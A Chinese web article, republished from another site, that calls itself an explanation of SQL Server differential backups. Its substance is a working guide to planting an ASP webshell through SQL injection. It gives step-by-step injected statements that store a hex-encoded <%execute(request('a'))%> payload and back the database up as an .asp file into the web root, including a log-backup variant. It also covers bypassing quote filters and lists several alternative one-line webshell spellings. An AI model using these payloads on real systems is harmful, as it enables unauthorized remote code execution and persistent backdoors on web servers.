sql server差异备份的流程

? ? ? Sql server的完整备份就是指将整个数据库的数据全部备份起来，而差异备份是将上一次备份后到现在对数据的修改进行备份，所以差异备份是无法单独使用的，那么你知道差异备份的流程吗？

? ? ? 差异备份的流程大概这样：
? ? ? 1.完整备份一次(保存位置当然可以改)
? ? ? backup?database?库名?to?disk?=?'c:\ddd.bak';--

? ? ? 2.创建表并插曲入数据
? ? ? create?table?[dbo].[dtest]?([cmd]?[image]);
? ? ? insert?into?dtest(cmd)?values(0x3C25657865637574652872657175657374282261222929253E);--

? ? ? 3.进行差异备份
? ? ? backup?database?库名?to?disk='目标位置\d.asp'?WITH?DIFFERENTIAL,FORMAT;--

? ? ? 上面
? ? ? 0x3C25657865637574652872657175657374282261222929253E
? ? ? 就是一句话木马的内容：<%execute(request("a"))%>

? ? ? 如下是网上常见的差异备份代码，思路一样！
===================================================
? ? ? 利用差异备份提高提高backupwebshell的成功率,减少文件大小
步骤:
declare?@a?sysname,@s?nvarchar(4000)?select?@a=db_name(),@s=0x77006F006B0061006F002E00620061006B00?backup?database?@a?to?disk=@s

create?table?[dbo].[xiaolu]?([cmd]?[image]);

insert?into?xiaolu(cmd)?values(0x3C25657865637574652872657175657374282261222929253E)

declare?@a?sysname,@s?nvarchar(4000)?select?@a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000?backup?database?@a?to?disk=@s?WITH?DIFFERENTIAL,FORMAT

0x77006F006B0061006F002E00620061006B00为wokao.bak
0x3C25657865637574652872657175657374282261222929253E是<%execute(request("a"))%>
0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000是e:\web\wokao.asp

? ? ? 声明：方法不是我想的，我只是写工具，默认得到shell是
<%execute(request("a"))%>
===============================================================

? ? ? 我发现上面代码，有时会无效，而直接用

backup?database?库名?to?disk?=?'c:\ddd.bak'

create?table?[dbo].[dtest]?([cmd]?[image]);
insert?into?dtest(cmd)?values(0x3C25657865637574652872657175657374282261222929253E)

backup?database?库名?to?disk='目标位置\d.asp'?WITH?DIFFERENTIAL,FORMAT;--

? ? ? 却可以成功，所以把最原始的方法写出来！思路是前人所创,这不说大家也知道的！

? ? ? 库名?必须要有效的库名，一般注入工具都可以得到！如果某站过滤?"‘",就要把字符内容转为数值了！

? ? ? 网上还有log增量备份的，我也把他记录一下
=====================================================
? ? ? 另一种log增量备份技术:

';alter?database?null?set?RECOVERY?FULL--

';create?table?cmd?(a?image)--

';backup?log?null?to?disk?=?'f:\cmd'?with?init--

';insert?into?cmd?(a)?values?(0x3C2565786563757465287265717565737428226122292
9253EDA)--

';backup?log?null?to?disk?=?'备份路径'--

PS:0x3C2565786563757465287265717565737428226122292
9253EDA?是一句话小马16进制转来的

说到一句话马，还可以有这么几种写法：

a).<%%25Execute(request("a"))%%25>
b).<%Execute(request("a"))%>
c).%><%execute?request("a")%><%
d).<script?language=VBScript?runat=server>execute?request("a")</script>
e).<%25Execute(request("a"))%25>?

? ? ? 以上就是这篇文章的全部内容了，希望本文的内容对大家的学习或者工作能带来一定的帮助~如果有疑问大家可以留言交流，谢谢大家对爱站技术频道的支持!

原文链接:https://js.aizhan.com/data/mssql/5745.html
如有疑问请与原作者联系

标签：

版权申明：本站文章部分自网络，如有侵权，请联系：west999com@outlook.com
特别注意：本站所有转载文章言论不代表本站观点，本站所提供的摄影照片，插画，设计作品，如需使用，请与原作者联系，版权归原作者所有